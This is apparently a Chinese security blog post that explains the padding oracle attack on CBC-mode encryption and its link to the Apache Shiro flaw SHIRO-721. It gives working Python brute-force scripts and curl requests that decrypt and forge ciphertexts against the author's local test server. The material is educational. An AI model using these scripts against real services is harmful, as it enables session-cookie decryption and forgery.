0x00 About POA(Padding Oracle Attack)

最近一段时间 shiro 发了一个有关于 POA的公告：SHIRO-721，把这类攻击方式带了出来，这篇就打算简单讲讲有关于POA的一些东西（其实在 之前，就已经发现了shiro的这个问题了，但是一直没有公开XD

这种攻击方式，最早应该是在2002年的时候被提出来的，具体历史可以参考文末的资料来看看；

0x01 分组密码

这个攻击方式其实还挺有意思的，利用的并不是DES/AES本身的缺陷，而是块加密连接方式的缺陷。这次shiro的问题也主要是由于使用了CBC的块连接方式导致的。在开始分析POA之前，我们先简单复习一下密码学的相关的知识；

我们知道，无论是是AES还是DES，又或是3DES，都是基于“块”对数据进行加密的。我们以最简单的DES来说，先忽略掉整个DES算法的细节，我们将其当做一个黑盒函数来看待。标准的DES分组长度是64bit，也就是一次只能加密64bit的数据，即8byte。但是在实际中，我们加密的数据一般都是远远大于8byte的，那么这个时候要怎么办呢？于是就有了很多种分组加密模式，即按照加密算法的分组长度，将待加密的明文分割成不同的块（block），对每个块单独进行加密，并通过一些特定的方式进行连接，这样一来，就可以任意长度的数据进行加密了。

而POA所涉及到的加密模式，就是CBC（Cipher-block chaining）模式。在这个分组模式中，每个明文在加密之前，都需要与前一个分组产生的密文进行异或操作，我们来看两张图：

这两张图摘取自Wikipedia，分别是CBC的加密与解密的流程，在CBC模式中，每个明文块先与前一个密文块进行异或后，再进行加密。在这种方法中，每个密文块都依赖于它前面的所有明文块。同时，为了保证每条消息的唯一性，在第一个块中需要使用初始化向量。通过这个图很容易看出来了：

  • 每个分组在加密之前，需要和上一个分组的密文进行异或操作；
  • 每个分组在解密之后，需要和前一个分组的密文进行异或操作得到最终的明文；

除了这些，我们还看到了一个IV值，当我们对一个密文块进行操作的时候，由于没有前一个块，所以需要一个IV来替代前一个块进行相应的异或操作，这个IV就是初始向量(Initialization Vector)。

为了方便我们后面的原理分析，我们将DES算法完成后的值成为“中间值”（intermediary value）。具体中间值是什么，可以看下面的这两个流程图。

在分组密码中，还涉及到一个问题没有提到，也是非常重要的一点，就是padding方式。当我们加密的的数据长度，按照分组长度分割后，不够一个分组怎么办？这个时候就设计到数据填充了。要将这个分组通过某种方式进行padding，将其长度补充到一个分组长度。现在常用的补充方式也就是PKCS#5/PKCS#7，补充的方式可以用一段代码来表示：

'''
PKCS#5 padding is identical to PKCS#7 padding, except that 
it has only been defined for block ciphers that use a 64 bit (8 byte) 
block size.
But in AES, there is no block of 8 bit, so PKCS#5 is PKCS#7.
'''
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]

补充的数据值，就是当前块分组的长度减去数据长度的值，然后重复补充到分组长度。如果不太明白，可以看下面这个图：

值得一提的是，当待加密的数据长度刚好满足分组长度的倍数时，仍然需要填充一个分组长度。

0x02 POA分析

通过POA，我们可以获取任意明文的值，也可以加密任意明文的值，但是POA其实是有一些前置条件的，并非所有使用CBC的场景都可以被成功的POA。我们现在来创造一些条件：

  • 我们拥有加密后的密文，以及本次加密使用的IV
  • 服务器会返回两种错误消息：
    • 当解密出的值与预设值不同时，返回解密失败
    • 当解密出的值出现padding错误时，返回padding error

为了测试方便，我写了一个简单的脚本来模拟服务器：https://gist.github.com/lightless233/33089f38cd6c0040f9cbcf56414295fd

我们先调用加密接口，获取一段密文来进行测试：

> curl http://localhost:5000/encrypt?plain_text=ABCDEFG

4141414142424242592f51b9d537c8fd

现在我们有了一段密文以及对应的IV，其中IV是：4141414142424242，密文是：592f51b9d537c8fd

1. 获取任意明文

根据前面提到的解密流程，可以看到，密文在解密之后，会得到一个中间值，这个中间值需要和IV进行异或后，才会得到最终的明文。如果这个时候，我们将IV替换成不正确的IV，会发生什么事情？我们把IV全部替换成\x00来试一下

> curl http://localhost:5000/decrypt?cipher_text=0000000000000000592f51b9d537c8fd

Error pad!

因为密文是正确的，所以解密出的中间值其实是正确的，但是因为我们提供了错误的IV，导致在进行异或之后得到的明文中，不符合PADDING。根据服务端的输出也证实了这一点：

iv: b'0000000000000000'  ,cipher: b'592f51b9d537c8fd'
plain with pad: b'0003020507040543'

最后一个字节为\x43，很明显是有问题的，那么如果我们对IV的最后一个字节进行爆破，使其最后异或值为\x01，就变成了PADDING正确的状态，经过爆破，我们得到下面的结果：

import requests

for iv_byte in range(0, 0xff+1):
    ib = hex(iv_byte).split("0x")[1].zfill(2)
    url = "http://localhost:5000/decrypt?cipher_text=00000000000000" + ib + "592f51b9d537c8fd"
    resp = requests.get(url)
    print(resp.text)

    if ("Error pad!" not in resp.text):
        print("iv_byte:", ib)
        break

> python poc.py

Error pad!
Error pad!
...
Error key!
iv_byte: 42

爆破得到了结果\x42，也就是说，当我们传入的IV是0000000000000042的时候，在解密异或完成后，最后一个值的结果是\x01，就是正确的PADDING值，同样看一下服务端的结果。

IV + cipher: 0000000000000042592f51b9d537c8fd
iv: b'0000000000000042'  ,cipher: b'592f51b9d537c8fd'
plain with pad: b'0003020507040501'
plain after unpad: b'00030205070405'

那么有了这个\x42可以做什么呢？我们再仔细回顾一下前面提到的解密流程，可以得出以下结论：

IF 中间值 XOR 原始IV(\x42) === \x01
THEN 中间值 === \x42 XOR \x01
THEN 中间值 === 0x43

我们还知道，在原来正确解密的情况下，中间值异或IV将会获得正确的明文，我们现在有了中间值，只需要再异或正确的原始IV (\x42)，就得到了原始的明文值：\x01，这就是原始明文进行PADDING后的最后一个字节，也就是明文值的最后一个字节了。

接下来的事情就简单了，继续爆破倒数第二个字节。根据PADDING规则，我们需要构造IV使异或完的值变成??????\x02\x02。但是我们刚才的爆破过程中，是使得最后一个字节异或结果为\x01，这里就需要小改一下。我们已经有了真正的中间值，构造出异或结果为\x02的值也是非常简单的，令IV为\x00\x00\x00\x00\x00\x00\x??\x41，其中问号处就是我们需要爆破的地方。

简单的写一下爆破脚本：

#!/usr/bin/env python3.8
# -*- coding: utf-8 -*-

from binascii import hexlify, unhexlify
import requests

url = "http://localhost:5000/decrypt?cipher_text="
origin_cipher = "592f51b9d537c8fd"
origin_iv = "4141414142424242"
origin_interdata = []
guess_plain = []

for iv_byte_idx in range(1, 9):

    for iv_byte in range(0, 0xff+1):

        iv_byte_value = hex(iv_byte).split("0x")[1].zfill(2)
        iv_prefix = "00" * (8-iv_byte_idx)
        iv_suffix = "".join(list(map(lambda x: hex(x ^ iv_byte_idx).split("0x")[1].zfill(2), origin_interdata)))

        guess_iv = iv_prefix + iv_byte_value + iv_suffix
        guess_url = url + guess_iv + origin_cipher
        # print("guess_url:", guess_url)

        resp = requests.get(guess_url)
        print(resp.text)

        if ("Error pad!" not in resp.text):
            print("iv_byte:", iv_byte_value)

            origin_interdata.insert(0, iv_byte ^ iv_byte_idx)
            guess_plain.insert(0, unhexlify(origin_iv)[-iv_byte_idx] ^ (iv_byte ^ iv_byte_idx))

            break


plain = list(map(chr, guess_plain))
print(plain)

# root @ VM-2-163-debian in ~/program/poa [20:49:52] 
$ python poc2.py                             
Error pad!
...
Error key!
iv_byte: 42
Error pad!
...
Error key!
iv_byte: 07
Error pad!
...
Error key!
iv_byte: 07
Error pad!
...
Error key!
iv_byte: 03
Error key!
iv_byte: 00
Error pad!
...
Error key!
iv_byte: 04
Error pad!
...
Error key!
iv_byte: 04
Error pad!
...
Error key!
iv_byte: 08
['A', 'B', 'C', 'D', 'E', 'F', 'G', '\x01']

这样一来，我们就获取到了第一个分组的明文。如果想要继续向后面爆破呢？根据CBC的流程，在解密流程处理第二个分组的时候，会将第一个密文块的结果当做IV来使用，所以只需要稍微修改我们的脚本就可以继续爆破了，由于原理一致，这里就不再展开叙述了。

2. 加密任意明文

前面讲到了如何获取任意的明文值，除此之外，POA还可以加密任意值，原理也是与前面相似的。

  • 我们可以通过爆破IV获取完整的真实中间值；
  • 最终的解密明文是IV异或中间值获得的；
  • 那么我们可以通过修改IV，控制最终获得的明文；

在前面的例子中，我们可以在解密代码中看到一个判断：

if plain_text != b"nnnn":
    return "Error key!"

现在我们的目标就是使这个条件成立，控制明文变成nnnn。如果要构造明文不足一个分组的情况：

nnnn\x04\x04\x04\x04

修改一下前面的POC，将中间值打印出来：interdata: [0, 3, 2, 5, 7, 4, 5, 67]

然后继续构造IV:

6e6d6c6b03000147

发起请求试试：

> curl http://localhost:5000/decrypt?cipher_text=6e6d6c6b03000147592f51b9d537c8fd

nnnn

可以看到，成功的使明文变成了nnnn。

如果我们要伪造多个分组的明文，就需要稍微麻烦一点，需要从最后一个块开始构造，我们修改一下服务端，我们伪造一个多分组的明文来试一下。

if plain_text != b"lightless_233":
    return "Error key!"
else:
    return b"Corrent key! " + plain_text

这个明文有13个字节，有两个分组：

['l', 'i', 'g', 'h', 't', 'l', 'e', 's'], ['s', '_', '2', '3', '3']

与刚才的流程一样，先来伪造['s', '_', '2', '3', '3']这个分组，这里略去过程，直接给出结果：

IV: 735c303634070640

这个时候的IV,其实是前一个块的密文值，我们需要再往前面补一个全为0的新IV，接下来就要用到刚才爆破IV的知识点，把新的中间值爆破出来：

 0000000000000000735c303634070640

这个爆破的时候，POC要稍微改一下，我们不再爆破明文了，而是爆破新的中间值，把原理POC中guess_plain的获取部分注释掉即可，这样可以获得新的中间值：

[166, 82, 211, 4, 129, 1, 20, 202]

接下来的事情就简单了，就是根据这个中间值，和我们希望的明文['l', 'i', 'g', 'h', 't', 'l', 'e', 's']，计算出IV即可。

IV:ca3bb46cf56d71b9

现在我们把所有的内容拼起来：

ca3bb46cf56d71b9 + 735c303634070640 + 592f51b9d537c8fd
-> ca3bb46cf56d71b9735c303634070640592f51b9d537c8fd

解密一下试试：

> curl http://localhost:5000/decrypt?cipher_text=ca3bb46cf56d71b9735c303634070640592f51b9d537c8fd

Corrent key! lightless_233

可以看到解密成功了，由于POC非常相似，这里就不再给出POC了。

0x03 SHIRO-721

之前Shiro出现了一个默认密钥反序列化的问题，在之前的文章中也分析过整个调用链，并没有十分复杂。后续官方移除了代码中的默认密钥，要求开发者自己设置，如果开发者没有设置，就会随机生成，在一定程度上避免了反序列化的问题。如果对之前的分析还有印象的话，可以发现Shiro对Cookie的加密方式为AES-CBC

以1.2.0分支的代码为例：

在core/src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java 106行的构造函数中，使用了AesCipherService。

继续跟进这个类，在core/src/main/java/org/apache/shiro/crypto/AesCipherService.java找到对应的实现，发现是继承自DefaultBlockCipherService，继续跟下去:

在core/src/main/java/org/apache/shiro/crypto/DefaultBlockCipherService.java中的160行左右找到了相关代码：

可以看到使用CBC模式，以及PKCS#5的填充模式。

在实际测试中也会发现，当我们提供了错误的密钥以及PADDING错误时，Shiro的返回值是不同的，这些就已经满足了POA的条件了。相关的POC网上已经有很多分析文章都给出了，这里不再赘述了。

Shiro最终在1.4.2版本修复了此问题，修复的方法也非常简单，即将默认的分组方式改为了GCM模式：[https://issues.apache.org/jira/browse/SHIRO-730?jql=project%20%3D%20SHIRO%20AND%20fixVersion%20%3D%201.4.2](https://issues.apache.org/jira/browse/SHIRO-730?jql=project %3D SHIRO AND fixVersion %3D 1.4.2)

0xFF 参考资料

除了CBC外，还有很多的分组加密模式，这些模式是否均受到POA的影响呢？很明显的是，ECB模式可能会受到比特翻转攻击，并不能完全的控制明文和密文。另外的一些OFB/CFB/CTR模式中，似乎可以对最后一个明文分组进行任意的修改，而且这些模式本质上是不需要进行填充补齐的。GCM的工作模式也决定了该模式是不受POA影响的。

这里给出一些参考资料，特别是下方资料中的第一篇，讲解的非常清晰，强烈推荐。

  • https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html
  • http://netifera.com/research/poet/PaddingOracleBHEU10.pdf
  • https://issues.apache.org/jira/browse/SHIRO-721
  • https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth
  • 《PaddingOracleAttacks on the ISOCBCModeEncryptionStandard》http://www.isg.rhul.ac.uk/~kp/padding.pdf